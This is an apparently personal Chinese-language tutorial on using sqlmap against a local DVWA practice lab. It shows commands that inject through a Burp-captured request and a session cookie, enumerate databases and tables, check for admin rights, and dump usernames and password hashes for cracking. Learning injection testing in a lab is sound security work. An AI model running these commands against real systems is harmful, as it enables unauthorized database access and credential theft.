結合sqlmap進行sql注入:(-r后面是通過burp suite抓出來的請求包;-p后面是注入點,即該請求里攜帶的某個參數)
-
Get請求的注入:
./sqlmap.py -r rss_test.txt -p orderId
-
--cookie表示攜帶cookie的請求,一般為登錄cookie
python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; Pycharm-e747a335=4f1af00c-ab24-4530-9f07-677aa2176c6c; PHPSESSID=69vkfcgth1nurep7o8uhf7a577" –dbs
-
-
post請求的注入:rss_test.txt是post請求的抓包數據信息
-
如果post注入,需要body信息,確定是-r txt 還是–data=“name=value”
python sqlmap.py -r rss_test.txt -p orderId --dbs --random-agent
-
也可不寫注入點,比如
./sqlmap.py -r xx.txt
-
注入日志輸出在如下路徑:
C:\Users\cj\AppData\Local\sqlmap\output
-
-
注入過程如下:
-
如上圖,表示當前sql注入已經探測出了該數據庫類型為MySQL,如果確定是,則直接輸入Y,跳過其他數據庫類型的檢測
-
對於其余的測試,是否要包括所有針對“MySQL”擴展的測試提供的水平(1)和風險(1)值,輸入Y,包含所有針對MySQL的測試
-
如上圖,檢測到參數id存在注入的風險(結果中包含
“id” is Vulnerable
字段表示存在注入),是否想要保持測試其他的參數,如果確定其他參數無注入風險的話,直接輸入N,不再測其他參數。說明這里存在sql注入點。 -
接下來會注入並獲取數據庫(前提是,當前的cookie需有效,若無效,則會獲取不到數據庫),如下
-
用 --current-db進一步獲取當前數據庫
E:\sqlmap-master>python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli /?id=1&Submit=Submit#" --cookie="security=low; Pycharm-e747a335=4f1af00c-ab24-45 30-9f07-677aa2176c6c; PHPSESSID=sscv0f77n6bik3vcsd8mhtma93" --current-db
-
用 --is-dba判斷該注入點是否有管理員權限:返回true 表示是管理員
E:\sqlmap-master>python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli /?id=1&Submit=Submit#" --cookie="security=low; Pycharm-e747a335=4f1af00c-ab24-45 30-9f07-677aa2176c6c; PHPSESSID=sscv0f77n6bik3vcsd8mhtma93" --is-dba
-
用 -D "dvwa" –tables 獲取當前數據庫的所有表(dvwa數據庫是之前查出的當前數據庫)
E:\sqlmap-master>python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli /?id=1&Submit=Submit#" --cookie="security=low; Pycharm-e747a335=4f1af00c-ab24-45 30-9f07-677aa2176c6c; PHPSESSID=sscv0f77n6bik3vcsd8mhtma93" -D "dvwa" –tables
-
用 -D "dvwa" -T "users" –columns 獲取數據庫dvwa中表users的所有字段
E:\sqlmap-master>python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli /?id=1&Submit=Submit#" --cookie="security=low; Pycharm-e747a335=4f1af00c-ab24-45 30-9f07-677aa2176c6c; PHPSESSID=sscv0f77n6bik3vcsd8mhtma93" -D "dvwa" -T "users" --columns
-
用 -D "dvwa" -T "users" -C "user,password" –dump 獲取user和password字段的值,如下
E:\sqlmap-master>python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli /?id=1&Submit=Submit#" --cookie="security=low; Pycharm-e747a335=4f1af00c-ab24-45 30-9f07-677aa2176c6c; PHPSESSID=sscv0f77n6bik3vcsd8mhtma93" -D "dvwa" -T "users" -C "user,password" –dump
-
這里獲取到的用戶名和密碼,猜測密碼加密方式,再用對應的方式解密。